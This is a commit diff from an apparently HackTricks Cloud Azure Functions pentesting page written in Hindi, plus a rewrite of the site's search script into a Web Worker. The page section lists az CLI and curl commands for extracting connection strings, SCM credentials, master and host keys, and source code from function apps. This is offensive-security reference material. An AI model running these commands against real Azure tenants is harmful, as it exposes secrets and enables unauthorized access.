जब एक फ़ंक्शन एक Github repo से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github Workflow बनाने** की अनुमति देता है ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक Python फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
<details>
@@ -195,7 +197,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
इसके अलावा, एक **Managed Identity** भी बनाई जाती है ताकि रिपॉजिटरी से Github Action इसके साथ Azure में लॉगिन कर सके। यह **Managed Identity** पर एक Federated credential उत्पन्न करके किया जाता है, जो **Issuer** `https://token.actions.githubusercontent.com` और **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` को अनुमति देता है।
> [!CAUTION]
> इसलिए, जो कोई भी उस रिपॉजिटरी को समझौता करेगा, वह फ़ंक्शन और ससे जुड़े Managed Identities को भी समझौता कर सकेगा।
> इसलिए, जो कोई भी उस रिपॉजिटरी को समझौता करेगा, वह फ़ंक्शन और ससे जुड़े Managed Identities को भी समझौता कर सकेगा।
### Container Based Deployments
@@ -211,10 +213,10 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
# List all the functions
az functionapp list
# Get info of 1 funciton (although in the list you already get this info)
az functionapp show --name <app-name> --resource-group <res-group>
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
## This is using a container
# List functions in an function-app (endpoints)
az functionapp function list \
--name <app-name> \
--resource-group <res-group>
# Get details about the source of the function code
az functionapp deployment source show \
@@ -231,6 +233,9 @@ az functionapp config container show \
# Get settings (and privesc to the sorage account)
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
# Get access restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Check if a domain was assigned to a function app
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
@@ -240,22 +245,41 @@ az functionapp config ssl list --resource-group <res-group>
# Get network restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Get acess restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Get connection strings
az rest --method POST --uri "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/connectionstrings/list?api-version=2022-03-01"
az rest --method GET --uri "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/configreferences/connectionstrings?api-version=2022-03-01"
# Get SCM credentials
az functionapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Get function, system and master keys
az functionapp keys list --name <app-name> --resource-group <res-group>
# Get Host key
az rest --method POST --uri "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<function-endpoint-name>/listKeys?api-version=2022-03-01"
# Get source code with Master Key of the function
curl "<script_href>?code=<master-key>"
## Python example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
curl "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
# Get source code using SCM access (Azure permissions or SCM creds)
az rest --method GET \
--url "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" \
--resource "https://management.azure.com/"
# Get source code with Azure permissions
az rest --url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
## Another example
az rest --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/ConsumptionExample/hostruntime/admin/vfs/HttpExample/index.js?relativePath=1&api-version=2022-03-01"
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
Get-Command -Module Az.Functions
# Lists all Function Apps in the current subscription or in a specific resource group.

10
theme/elasticlunr.min.js vendored Normal file

File diff suppressed because one or more lines are too long

View File

@@ -1,554 +1,172 @@
/* ────────────────────────────────────────────────────────────────
Polyfill so requestIdleCallback works everywhere (IE 11/Safari)
─────────────────────────────────────────────────────────────── */
if (typeof window.requestIdleCallback !== "function") {
window.requestIdleCallback = function (cb) {
const start = Date.now();
return setTimeout(function () {
cb({
didTimeout: false,
timeRemaining: function () {
return Math.max(0, 50 - (Date.now() - start));
}
});
}, 1);
};
window.cancelIdleCallback = window.clearTimeout;
}
/* ────────────────────────────────────────────────────────────────
search.js
─────────────────────────────────────────────────────────────── */
/* ht_searcher.js ────────────────────────────────────────────────
Dualindex WebWorker search (HackTricks + HackTricksCloud)
· keeps working even if one index fails
· cloud results rendered **blue**
· ⏳ while loading → 🔍 when ready
*/
(() => {
"use strict";
window.search = window.search || {};
(function search(search) {
// Search functionality
//
// You can use !hasFocus() to prevent keyhandling in your key
// event handlers while the user is typing their search.
if (!Mark || !elasticlunr) {
return;
/* ───────────── 0. helpers (main thread) ───────────── */
const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); };
/* ───────────── 1. WebWorker code ─────────────────── */
const workerCode = `
self.window = self;
self.search = self.search || {};
const abs = p => location.origin + p;
/* 1 — elasticlunr */
try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); }
catch { importScripts(abs('/elasticlunr.min.js')); }
/* 2 — load a single index (remote → local) */
async function loadIndex(remote, local, isCloud=false){
let rawLoaded = false;
try {
const r = await fetch(remote,{mode:'cors'});
if (!r.ok) throw new Error('HTTP '+r.status);
importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'})));
rawLoaded = true;
} catch(e){ console.warn('remote',remote,'failed →',e); }
if(!rawLoaded){
try { importScripts(abs(local)); rawLoaded = true; }
catch(e){ console.error('local',local,'failed →',e); }
}
//IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith
if (!String.prototype.startsWith) {
String.prototype.startsWith = function(search, pos) {
return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search;
};
}
var search_wrap = document.getElementById('search-wrapper'),
search_modal = document.getElementById('search-modal'),
searchbar = document.getElementById('searchbar'),
searchbar_outer = document.getElementById('searchbar-outer'),
searchresults = document.getElementById('searchresults'),
searchresults_outer = document.getElementById('searchresults-outer'),
searchresults_header = document.getElementById('searchresults-header'),
searchicon = document.getElementById('search-toggle'),
content = document.getElementById('content'),
searchindex = null,
doc_urls = [],
results_options = {
teaser_word_count: 30,
limit_results: 30,
},
search_options = {
bool: "AND",
expand: true,
fields: {
title: {boost: 1},
body: {boost: 1},
breadcrumbs: {boost: 0}
}
},
mark_exclude = [],
marker = new Mark(content),
current_searchterm = "",
URL_SEARCH_PARAM = 'search',
URL_MARK_PARAM = 'highlight',
teaser_count = 0,
SEARCH_HOTKEY_KEYCODE = 83,
ESCAPE_KEYCODE = 27,
DOWN_KEYCODE = 40,
UP_KEYCODE = 38,
SELECT_KEYCODE = 13;
function hasFocus() {
return searchbar === document.activeElement;
}
function removeChildren(elem) {
while (elem.firstChild) {
elem.removeChild(elem.firstChild);
}
}
// Helper to parse a url into its building blocks.
function parseURL(url) {
var a = document.createElement('a');
a.href = url;
return {
source: url,
protocol: a.protocol.replace(':',''),
host: a.hostname,
port: a.port,
params: (function(){
var ret = {};
var seg = a.search.replace(/^\?/,'').split('&');
var len = seg.length, i = 0, s;
for (;i<len;i++) {
if (!seg[i]) { continue; }
s = seg[i].split('=');
ret[s[0]] = s[1];
}
return ret;
})(),
file: (a.pathname.match(/\/([^/?#]+)$/i) || [,''])[1],
hash: a.hash.replace('#',''),
path: a.pathname.replace(/^([^/])/,'/$1')
};
}
// Helper to recreate a url string from its building blocks.
function renderURL(urlobject) {
var url = urlobject.protocol + "://" + urlobject.host;
if (urlobject.port != "") {
url += ":" + urlobject.port;
}
url += urlobject.path;
var joiner = "?";
for(var prop in urlobject.params) {
if(urlobject.params.hasOwnProperty(prop)) {
url += joiner + prop + "=" + urlobject.params[prop];
joiner = "&";
}
}
if (urlobject.hash != "") {
url += "#" + urlobject.hash;
}
return url;
}
// Helper to escape html special chars for displaying the teasers
var escapeHTML = (function() {
var MAP = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&#34;',
"'": '&#39;'
};
var repl = function(c) { return MAP[c]; };
return function(s) {
return s.replace(/[&<>'"]/g, repl);
};
})();
function formatSearchMetric(count, searchterm) {
if (count == 1) {
return count + " search result for '" + searchterm + "':";
} else if (count == 0) {
return "No search results for '" + searchterm + "'.";
} else {
return count + " search results for '" + searchterm + "':";
}
}
function formatSearchResult(result, searchterms) {
var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms);
teaser_count++;
// The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor
var url = doc_urls[result.ref].split("#");
if (url.length == 1) { // no anchor found
url.push("");
}
// encodeURIComponent escapes all chars that could allow an XSS except
// for '. Due to that we also manually replace ' with its url-encoded
// representation (%27).
var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27");
return '<a href="' + path_to_root + url[0] + '?' + URL_MARK_PARAM + '=' + searchterms + '#' + url[1]
+ '" aria-details="teaser_' + teaser_count + '">' + result.doc.breadcrumbs
+ '<span class="teaser" id="teaser_' + teaser_count + '" aria-label="Search Result Teaser">'
+ teaser + '</span>' + '</a>';
}
function makeTeaser(body, searchterms) {
// The strategy is as follows:
// First, assign a value to each word in the document:
// Words that correspond to search terms (stemmer aware): 40
// Normal words: 2
// First word in a sentence: 8
// Then use a sliding window with a constant number of words and count the
// sum of the values of the words within the window. Then use the window that got the
// maximum sum. If there are multiple maximas, then get the last one.
// Enclose the terms in <em>.
var stemmed_searchterms = searchterms.map(function(w) {
return elasticlunr.stemmer(w.toLowerCase());
});
var searchterm_weight = 40;
var weighted = []; // contains elements of ["word", weight, index_in_document]
// split in sentences, then words
var sentences = body.toLowerCase().split('. ');
var index = 0;
var value = 0;
var searchterm_found = false;
for (var sentenceindex in sentences) {
var words = sentences[sentenceindex].split(' ');
value = 8;
for (var wordindex in words) {
var word = words[wordindex];
if (word.length > 0) {
for (var searchtermindex in stemmed_searchterms) {
if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) {
value = searchterm_weight;
searchterm_found = true;
}
};
weighted.push([word, value, index]);
value = 2;
}
index += word.length;
index += 1; // ' ' or '.' if last word in sentence
};
index += 1; // because we split at a two-char boundary '. '
};
if (weighted.length == 0) {
return body;
}
var window_weight = [];
var window_size = Math.min(weighted.length, results_options.teaser_word_count);
var cur_sum = 0;
for (var wordindex = 0; wordindex < window_size; wordindex++) {
cur_sum += weighted[wordindex][1];
};
window_weight.push(cur_sum);
for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) {
cur_sum -= weighted[wordindex][1];
cur_sum += weighted[wordindex + window_size][1];
window_weight.push(cur_sum);
};
if (searchterm_found) {
var max_sum = 0;
var max_sum_window_index = 0;
// backwards
for (var i = window_weight.length - 1; i >= 0; i--) {
if (window_weight[i] > max_sum) {
max_sum = window_weight[i];
max_sum_window_index = i;
}
};
} else {
max_sum_window_index = 0;
}
// add <em/> around searchterms
var teaser_split = [];
var index = weighted[max_sum_window_index][2];
for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) {
var word = weighted[i];
if (index < word[2]) {
// missing text from index to start of `word`
teaser_split.push(body.substring(index, word[2]));
index = word[2];
}
if (word[1] == searchterm_weight) {
teaser_split.push("<em>")
}
index = word[2] + word[0].length;
teaser_split.push(body.substring(word[2], index));
if (word[1] == searchterm_weight) {
teaser_split.push("</em>")
}
};
return teaser_split.join('');
}
function init(config) {
results_options = config.results_options;
search_options = config.search_options;
searchbar_outer = config.searchbar_outer;
doc_urls = config.doc_urls;
searchindex = elasticlunr.Index.load(config.index);
// Set up events
searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false);
search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false);
search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false);
searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false);
document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false);
// If the user uses the browser buttons, do the same as if a reload happened
window.onpopstate = function(e) { doSearchOrMarkFromUrl(); };
// Suppress "submit" events so the page doesn't reload when the user presses Enter
document.addEventListener('submit', function(e) { e.preventDefault(); }, false);
// If reloaded, do the search or mark again, depending on the current url parameters
doSearchOrMarkFromUrl();
}
function unfocusSearchbar() {
// hacky, but just focusing a div only works once
var tmp = document.createElement('input');
tmp.setAttribute('style', 'position: absolute; opacity: 0;');
searchicon.appendChild(tmp);
tmp.focus();
tmp.remove();
}
// On reload or browser history backwards/forwards events, parse the url and do search or mark
function doSearchOrMarkFromUrl() {
// Check current URL for search request
var url = parseURL(window.location.href);
if (url.params.hasOwnProperty(URL_SEARCH_PARAM)
&& url.params[URL_SEARCH_PARAM] != "") {
showSearch(true);
searchbar.value = decodeURIComponent(
(url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20'));
searchbarKeyUpHandler(); // -> doSearch()
} else {
showSearch(false);
}
if (url.params.hasOwnProperty(URL_MARK_PARAM)) {
var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' ');
marker.mark(words, {
exclude: mark_exclude
});
var markers = document.querySelectorAll("mark");
function hide() {
for (var i = 0; i < markers.length; i++) {
markers[i].classList.add("fade-out");
window.setTimeout(function(e) { marker.unmark(); }, 300);
}
}
for (var i = 0; i < markers.length; i++) {
markers[i].addEventListener('click', hide);
}
}
}
// Eventhandler for keyevents on `document`
function globalKeyHandler(e) {
if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; }
if (e.keyCode === ESCAPE_KEYCODE) {
e.preventDefault();
searchbar.classList.remove("active");
setSearchUrlParameters("",
(searchbar.value.trim() !== "") ? "push" : "replace");
if (hasFocus()) {
unfocusSearchbar();
}
showSearch(false);
marker.unmark();
} else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) {
e.preventDefault();
showSearch(true);
window.scrollTo(0, 0);
searchbar.select();
} else if (hasFocus() && e.keyCode === DOWN_KEYCODE) {
e.preventDefault();
unfocusSearchbar();
searchresults.firstElementChild.classList.add("focus");
} else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE
|| e.keyCode === UP_KEYCODE
|| e.keyCode === SELECT_KEYCODE)) {
// not `:focus` because browser does annoying scrolling
var focused = searchresults.querySelector("li.focus");
if (!focused) return;
e.preventDefault();
if (e.keyCode === DOWN_KEYCODE) {
var next = focused.nextElementSibling;
if (next) {
focused.classList.remove("focus");
next.classList.add("focus");
}
} else if (e.keyCode === UP_KEYCODE) {
focused.classList.remove("focus");
var prev = focused.previousElementSibling;
if (prev) {
prev.classList.add("focus");
} else {
searchbar.select();
}
} else { // SELECT_KEYCODE
window.location.assign(focused.querySelector('a'));
}
}
}
function showSearch(yes) {
if (yes) {
search_wrap.classList.remove('hidden');
searchicon.setAttribute('aria-expanded', 'true');
} else {
search_wrap.classList.add('hidden');
searchicon.setAttribute('aria-expanded', 'false');
var results = searchresults.children;
for (var i = 0; i < results.length; i++) {
results[i].classList.remove("focus");
}
}
}
function showResults(yes) {
if (yes) {
searchresults_outer.classList.remove('hidden');
} else {
searchresults_outer.classList.add('hidden');
}
}
// Eventhandler for search icon
function searchIconClickHandler() {
if (search_wrap.classList.contains('hidden')) {
showSearch(true);
window.scrollTo(0, 0);
searchbar.select();
} else {
showSearch(false);
}
}
// Eventhandler for keyevents while the searchbar is focused
function searchbarKeyUpHandler() {
var searchterm = searchbar.value.trim();
if (searchterm != "") {
searchbar.classList.add("active");
doSearch(searchterm);
} else {
searchbar.classList.remove("active");
showResults(false);
removeChildren(searchresults);
}
setSearchUrlParameters(searchterm, "push_if_new_search_else_replace");
// Remove marks
marker.unmark();
}
// Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor .
// `action` can be one of "push", "replace", "push_if_new_search_else_replace"
// and replaces or pushes a new browser history item.
// "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet.
function setSearchUrlParameters(searchterm, action) {
var url = parseURL(window.location.href);
var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM);
if (searchterm != "" || action == "push_if_new_search_else_replace") {
url.params[URL_SEARCH_PARAM] = searchterm;
delete url.params[URL_MARK_PARAM];
url.hash = "";
} else {
delete url.params[URL_MARK_PARAM];
delete url.params[URL_SEARCH_PARAM];
}
// A new search will also add a new history item, so the user can go back
// to the page prior to searching. A updated search term will only replace
// the url.
if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) {
history.pushState({}, document.title, renderURL(url));
} else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) {
history.replaceState({}, document.title, renderURL(url));
}
}
function doSearch(searchterm) {
// Don't search the same twice
if (current_searchterm == searchterm) { return; }
else { current_searchterm = searchterm; }
if (searchindex == null) { return; }
// Do the actual search
var results = searchindex.search(searchterm, search_options);
var resultcount = Math.min(results.length, results_options.limit_results);
// Display search metrics
searchresults_header.innerText = formatSearchMetric(resultcount, searchterm);
// Clear and insert results
var searchterms = searchterm.split(' ');
removeChildren(searchresults);
for(var i = 0; i < resultcount ; i++){
var resultElem = document.createElement('li');
resultElem.innerHTML = formatSearchResult(results[i], searchterms);
searchresults.appendChild(resultElem);
}
// Display results
showResults(true);
}
(async function loadSearchIndex(lang = window.lang || "en") {
const branch = lang === "en" ? "master" : lang;
const rawUrl =
`https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`;
const localJs = "/searchindex.js";
const TIMEOUT_MS = 10_000;
const injectScript = (src) =>
new Promise((resolve, reject) => {
const s = document.createElement("script");
s.src = src;
s.onload = () => resolve(src);
s.onerror = (e) => reject(e);
document.head.appendChild(s);
if(!rawLoaded) return null; /* give up on this index */
const data = { json:self.search.index, urls:self.search.doc_urls, cloud:isCloud };
delete self.search.index; delete self.search.doc_urls;
return data;
}
(async () => {
const MAIN_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/refs/heads/master/searchindex.js';
const CLOUD_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/searchindex.js';
const indices = [];
const main = await loadIndex(MAIN_RAW , '/searchindex-book.js', false); if(main) indices.push(main);
const cloud= await loadIndex(CLOUD_RAW, '/searchindex.js', true ); if(cloud) indices.push(cloud);
if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; }
/* build index objects */
const built = indices.map(d => ({
idx : elasticlunr.Index.load(d.json),
urls: d.urls,
cloud: d.cloud,
base: d.cloud ? 'https://cloud.hacktricks.wiki/' : ''
}));
postMessage({ready:true});
const MAX = 30, opts = {bool:'AND', expand:true};
self.onmessage = ({data:q}) => {
if(!q){ postMessage([]); return; }
const all = [];
for(const s of built){
const res = s.idx.search(q,opts);
if(!res.length) continue;
const max = res[0].score || 1;
res.forEach(r => {
const doc = s.idx.documentStore.getDoc(r.ref);
all.push({
norm : r.score / max,
title: doc.title,
body : doc.body,
breadcrumbs: doc.breadcrumbs,
url : s.base + s.urls[r.ref],
cloud: s.cloud
});
try {
/* 1 — download raw JS from GitHub */
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), TIMEOUT_MS);
const res = await fetch(rawUrl, { signal: controller.signal });
clearTimeout(timer);
if (!res.ok) throw new Error(`HTTP ${res.status}`);
/* 2 — wrap in a Blob so the browser sees application/javascript */
const code = await res.text();
const blobUrl = URL.createObjectURL(
new Blob([code], { type: "application/javascript" })
);
/* 3 — execute it */
await injectScript(blobUrl);
/* ───────────── PATCH ─────────────
heavy parsing now deferred to idle time
*/
requestIdleCallback(() => init(window.search));
return; // ✔ UI remains responsive
} catch (eRemote) {
console.warn("Remote JS failed →", eRemote);
}
/* ───────── fallback: local copy ───────── */
try {
await injectScript(localJs);
/* ───────────── PATCH ───────────── */
requestIdleCallback(() => init(window.search));
return;
} catch (eLocal) {
console.error("Local JS failed →", eLocal);
}
})();
// Exported functions
search.hasFocus = hasFocus;
})(window.search);
});
}
all.sort((a,b)=>b.norm-a.norm);
postMessage(all.slice(0,MAX));
};
})();
`;
/* ───────────── 2. spawn worker ───────────── */
const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'})));
/* ───────────── 3. DOM refs ─────────────── */
const wrap = document.getElementById('search-wrapper');
const bar = document.getElementById('searchbar');
const list = document.getElementById('searchresults');
const listOut = document.getElementById('searchresults-outer');
const header = document.getElementById('searchresults-header');
const icon = document.getElementById('search-toggle');
const READY_ICON = icon.innerHTML;
icon.textContent = '⏳';
icon.setAttribute('aria-label','Loading search …');
const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13;
let debounce, teaserCount=0;
/* ───────────── helpers (teaser, metric) ───────────── */
const escapeHTML = (()=>{const M={'&':'&amp;','<':'&lt;','>':'&gt;','"':'&#34;','\'':'&#39;'};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})();
const URL_MARK='highlight';
function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;}
function makeTeaser(body,terms){
const stem=w=>elasticlunr.stemmer(w.toLowerCase());
const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30;
const W=[],sents=body.toLowerCase().split('. ');
let i=0,v=W_F,found=false;
sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;});
if(!W.length) return body;
const win=Math.min(W.length,WIN);
const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)];
for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1];
const best=found?sums.lastIndexOf(Math.max(...sums)):0;
const out=[]; i=W[best][2];
for(let k=best;k<best+win;k++){const [w,wt,pos]=W[k]; if(i<pos){out.push(body.substring(i,pos)); i=pos;} if(wt===W_S) out.push('<em>'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push('</em>'); i=pos+w.length;}
return out.join('');
}
function format(d,terms){
const teaser=makeTeaser(escapeHTML(d.body),terms);
teaserCount++;
const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27');
const parts=d.url.split('#'); if(parts.length===1) parts.push('');
const abs=d.url.startsWith('http');
const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`;
const style=d.cloud?" style=\"color:#1e88e5\"":"";
const isCloud=d.cloud?" [Cloud]":" [Book]";
return `<a href="${href}" aria-details="teaser_${teaserCount}"${style}>`+
`${d.breadcrumbs}${isCloud}<span class="teaser" id="teaser_${teaserCount}" aria-label="Search Result Teaser">${teaser}</span></a>`;
}
/* ───────────── UI control ───────────── */
function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}}
function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();}
icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden')));
document.addEventListener('keydown',e=>{
if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return;
const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName);
if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();}
else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}}
else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}}
});
bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage(e.target.value.trim()),120); });
/* ───────────── worker messages ───────────── */
worker.onmessage = ({data}) => {
if(data && data.ready!==undefined){
if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); }
else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); }
return;
}
const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean);
header.textContent=metric(docs.length,q);
clear(list);
docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);});
listOut.classList.toggle('hidden',!docs.length);
};
})();